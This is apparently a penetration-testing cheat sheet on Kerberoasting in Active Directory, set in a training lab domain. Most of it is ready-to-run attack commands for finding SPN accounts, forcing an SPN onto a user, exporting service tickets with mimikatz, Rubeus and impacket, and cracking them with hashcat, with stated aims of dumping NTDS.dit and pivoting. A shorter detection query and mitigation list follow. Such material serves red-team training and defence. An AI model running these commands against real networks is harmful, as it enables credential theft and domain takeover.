Kerberoasting
Overview
Request service ticket for any service with registered SPN
Use ticket to crack service password
Use BloodHound to find Kerberoastable accounts
If service is a domain admin we can gather loot and dump the NTDS.dit
If not, you can use it to log into other systems and pivot or escalate
Use cracked password for password spraying
Exploitation
Find Accounts with SPN
# Windows built-in
setspn -T DOMAIN -Q ​*/*
# PowerView
Get-NetUser -SPN | Select -ExpandProperty serviceprincipalname
# AD Module
Get-ADUser -Filter { ServicePrincipalName -ne "$null" } -Properties ServicePrincipalName
Force Set SPN
If we have enough rights on user (GenericAll/GenericWrite) we can set an SPN for a user then request a TGS for it for Kerberoasting.
# Enumerate the permissions for RDPUsers on ACLs using PowerView 3.0/dev
# Enumerate the permissions for RDPUsers on ACLs using PowerView 3.0/dev
Invoke-ACLScanner -ResolveGUIDs | ?{ $_.IdentityReferenceName -match "RDPUsers" }
# Check if user already has a SPN
# Using PowerView 3.0
Get-DomainUser -Identity support572user | Select serviceprincipalname
# Using AD Module
Get-ADUser -Identity support572user -Properties ServicePrincipalName | Select ServicePrincipalName
# Set a SPN for the user (must be unique in domain)
# Using PowerView 3.0
Set-DomainObject -Identity support572user -Set @{serviceprincipalname="dcorp/bufusvc"}
# Using AD Module
Set-ADUser -Identity support572user -ServicePrincipalNames @{Add="dcorp/bufusvc"}
Extracting Tickets
# PowerShell built-in
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"
# PowerView
Request-SPNTicket -SPN "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"
# Check if TGS has been granted
klist
# Extract tickets with mimikatz
Invoke-Mimikatz -Command '"kerberos::list /export"'
python.exe .\tgsrepcrack.py .\10k-worst-pass.txt ".\1-40a10000-student572@MSSQLSvc~dcorp-mgmt.dollarcorp.moneycorp.local-DOLLARCORP.MONEYCORP.LOCAL.kirbi"
Extracting Hashes
# Rubeus
# Find all kerberoastable users and save hashes to file
.\Rubeus.exe kerberoast /outfile:hashes.kirbi
# For specific SPN
.\Rubeus.exe kerberoast /spn:MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local /outfile:mssqlsvc.kirbi
# Using Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII ticket.kirbi
# Remotely with impacket
GetUserSPNs.py dcorp-dc/user:password -dc-ip 10.10.10.10 -request
# Crack hash with hashcat
hashcat -a 0 -m 13100 hash.txt rockyou.txt
Detection
Security event ID 4769: A Kerberos ticket was requested
Filter results based on the following information from logs
Service name should not be krbtgt
Service name does not end with $ (to filter out machine accounts used for services)
Account name should not be machine@domain (to filter out requests from machines)
Failure code is '0x0' (to filter out failures, 0x0 is success)
Most importantly, ticket encryption type is 0x17
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split"`n")[8] -ne 'krbtgt' -and $_.Message.split"`n")[8] -ne '*$' -and $_.Message.split"`n")[3] -notlike '*$@*' -and $_.Message.split"`n")[18] -like '*0x0*' -and $_.Message.split"`n")[17] -like "*0x17*"} | Select -ExpandProperty message
Mitigation
Strong service account passwords
Don't make service accounts domain admins
Use Managed Service Accounts (Automatic change of password periodically and delegated SPN Management)
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/jj128431(v=ws.11)
Last updated